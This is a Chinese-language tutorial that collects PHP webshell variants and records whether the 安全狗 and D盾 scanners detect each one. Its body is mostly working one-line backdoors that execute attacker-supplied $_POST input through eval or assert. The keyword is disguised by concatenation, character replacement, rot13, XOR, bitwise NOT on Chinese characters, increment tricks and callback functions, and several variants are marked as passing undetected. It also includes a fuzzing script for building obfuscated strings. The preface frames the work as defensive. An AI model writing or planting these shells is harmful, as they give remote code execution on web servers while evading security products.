php webshell各种姿势总结
前言
现在的安全产品冗杂,各个产品对webshell的都有查杀功能,了解webshell的各种姿势有利于我们更好的防护。现在将各种姿势做个总结,能力有限,难免有遗漏之处。
环境
win10
PHP5
Apache 2.4
网站安全狗 V4.0
D盾 2.1.5.4
姿势
eval()和assert()
eval()
和asser()
是最常用的两个函数。eval()
函数把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码,且必须以分号结尾。那么对于assert()
函数来说,当给出的是字符串时,那么assert()
会将其当成PHP代码执行。但是这些函数在PHP7后有所改变。
关键字符串“化妆”
拼接
简单的拼接从而绕过直接对eval
字符串的检测
<?php
$a = 'ev';
$b = 'al';
$c = $a.$b;
$c($_POST['ameng']);
?>
安全狗检测结果:
D盾检测结果:
下面这段代码从参数接收关键代码,当然如果要是对传入参数检测的话,可能就过不了狗了
<?php
($_=@$_GET[2]).@$_($_POST[1]); //参数传入?2=assert,密码为1
?>
安全狗检测结果:
无风险
D盾检测结果:
无风险
替换
利用PHP中的一些函数,将字符串中的某个字符或某些字符进行替换,从而绕过关键此检测。利用函数substr_replace()
用法:
substr_replace(string,replacement,start,length)
参数 | 描述 |
---|---|
string | 必需。规定要检查的字符串。 |
replacement | 必需。规定要插入的字符串。 |
start | 必需。规定在字符串的何处开始替换。正数 - 在字符串中的指定位置开始替换负数 - 在从字符串结尾的指定位置开始替换0 - 在字符串中的第一个字符处开始替换 |
length | 可选。规定要替换多少个字符。默认是与字符串长度相同。正数 - 被替换的字符串长度负数 - 表示待替换的子字符串结尾处距离 string 末端的字符个数。0 - 插入而非替换 |
<?php
$a = substr_replace('evxx','al',2);
$a($_POST['ameng']);
?>
安全狗检测结果:
无风险
D盾检测结果:
用法:
strtr(string,from,to)
参数 | 描述 |
---|---|
string | 必需。规定要转换的字符串。 |
from | 必需(除非使用数组)。规定要改变的字符。 |
to | 必需(除非使用数组)。规定要改变为的字符。 |
array | 必需(除非使用 from 和 to)。数组,其中的键名是更改的原始字符,键值是更改的目标字符。 |
<?php
$a = strtr('e12l','12','va');
$a($_POST['ameng']);
?>
安全狗检测结果:
无风险
D盾检测结果:
str_rot13('riny')
编译后的结果即为eval
<?php
$Ameng = $_POST['Ameng'];
@preg_replace('/ad/e','@'.str_rot13('riny').'($Ameng)', 'add');
?>
安全狗检测结果:
无风险
D盾检测结果:
无风险
不过windows自带杀毒软件报毒,哈哈。
截断
用法:
substr(string,start,length)
参数 | 描述 |
---|---|
string | 必需。规定要返回其中一部分的字符串。 |
start | 必需。规定在字符串的何处开始。正数 - 在字符串的指定位置开始; 负数 - 在从字符串结尾开始的指定位置开始; 0 - 在字符串中的第一个字符处开始 |
length | 可选。规定被返回字符串的长度。默认是直到字符串的结尾。正数 - 从 start 参数所在的位置返回的长度; 负数 - 从字符串末端返回的长度 |
意思就是我们可以选择截取一段字符串的特定长度的值
<?php
$a = substr('xxev',2).'al';
$a($_POST['ameng']);
?>
安全狗检测结果:
无风险
D盾检测结果:
异或
如果检测的是字符串,那么我们有没有可能不使用字母和数字来写一个webshell呢?
在PHP中,两个字符串执行异或运算后,其结果还是一个字符串。
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
?>
以上结果是PHP5中的异或结果与PHP7异或结果是不同的。这种姿势在CTF中也出现过利用。由于这个利用手段在很早以前就被P神博客所指出,所以现在的检测产品基本都能查杀到。另外assert()
函数在PHP7中无法再使用来执行代码,可以换成eval()
安全狗检测结果:
D盾检测结果:
取反
如下
~('和'{2})-->s
<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__}); //assert()
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_}); //_POST
$_=$$_____;
$____($_[$__]); // assert($_POST[_]);
?>
安全狗检测结果:
D盾检测结果:
中文字符取反FUUZ脚本:
<?php
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
function str_split_unicode($str, $l = 0) {
if ($l > 0) {
$ret = array();
$len = mb_strlen($str, "UTF-8");
for ($i = 0; $i < $len; $i += $l) {
$ret[] = mb_substr($str, $i, $l, "UTF-8");
}
return $ret;
}
return preg_split("//u", $str, -1, PREG_SPLIT_NO_EMPTY);
}
$s = '当我站在山顶上俯瞰半个鼓浪屿和整个厦门的夜空的时候,我知道此次出行的目的已经完成了,我要开始收拾行李,明天早上离开这里。前几天有人问我,大学四年结束了,你也不说点什么?乌云发生了一些事情,所有人都缄默不言,你也是一样吗?你逃到南方,难道不回家了吗?当然要回家,我只是想找到我要找的答案。其实这次出来一趟很累,晚上几乎是热汗淋漓回到住处,马,追回十年前姑娘”。后来,感觉一切都步入正轨,学位证也顺利拿到,我匆匆告别了自己的大学。后来也遇到了很多事,事后有人找我,很多人关心你,少数人可能不是,但出了学校以后,又有多少人和事情完全没有目的呢?我也考虑了很多去处,但一直没有决断,倒有念怀旧主,也有妄自菲薄之意,我希望自己能做出点成绩再去谈其他的,所以很久都是闭门不出,琢磨东西。来到厦门,我还了一个愿,又许了新的愿望,希望我还会再次来还愿。我又来到了上次没住够的鼓浪屿,订了一间安静的房子,只有我一个人。在这里,能听到的只有远处屋檐下鸟儿叽叽喳喳的鸣叫声,远处的喧嚣早已烟消云散,即使这只是暂时的。站在屋顶的我,喝下杯中最后一口水。清晨,背着行李,我乘轮渡离开了鼓浪屿,这是我第二次来鼓浪屿,谁知道会不会是最后一次。我在这里住了三天,用三天去寻找了一个答案。不知不觉我又想到辜鸿铭与沈子培的那段对话。“大难临头,何以为之?”“世受国恩,死生系之';
$arr_str=str_split_unicode($s);
for ($i=0; $i < strlen($s) ; $i++) {
echo $arr_str[$i].'-->'.~$arr_str[$i]{1}.'<br>';
}
?>
递增运算符
‘a’++ => ‘b’
,‘b’++ => ‘c’
通过这种方式,我们只需要让a自增就可以得到a-z的任意字符
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
?>
但是想这种后门,是肯定能被D盾之类的防护产品检测出来的,其包含字符过多,一般是在CTF比赛中用到。
安全狗检测结果:
同时我们也能看到检测的一些特征规则
D盾检测结果:
想必这些都是被收录的后门,所以绕安全狗和D盾的话需要再改变姿势了。
回调函数
回调函数的运用在一段时间里曾被webshell广泛应用。首先,我们需要知道什么是回调函数,回调是什么意思?所谓是回调其实就是间接调用,当PHP调用用户自定义的函数时,必须要通过一个代理函数来进行调用,所以称为回调函数。
array_walk()
array_walk(array,myfunction,parameter...)
参数 | 描述 |
---|---|
array | 必需。规定数组。 |
myfunction | 必需。用户自定义函数的名称。 |
userdata,… | 可选。规定用户自定义函数的参数。您能够向此函数传递任意多参数。 |
<?php
function Ameng($value,$key){
$a = $key.$value; //拼接
$a($_POST['x']);
}
$b=array("ass"=>"ert"); //$value=ert,$key=ass
array_walk($b,"Ameng"); //调用自己定义函数,并传入键值对
?>
安全狗检测结果:
无风险
D盾检测结果:
mb_eregi_replace()
mb_eregi_replace( string $pattern , string $replace , string $string [, string $option = "msri" ] )
参数 | 必需的 | 描述 |
---|---|---|
pattern | 是 | 搜索模式,忽略大小写 |
replace | 是 | 替换文字。 |
string | 是 | 搜索的字符串 |
option | 是 | 搜索选项。 有关说明,请参见 mb_regex_set_options() 。 |
使用多字节支持替换正则表达式,忽略大小写
<?php
mb_eregi_replace('\d', $_REQUEST['x'], '1', 'e');
?>
安全狗检测结果:
无风险
D盾检测结果:
无风险
除此之外还有很多回调函数,当然很多都已经被强大的狗和D盾给拦截了,后续会陆续补上新发现的可用的回调函数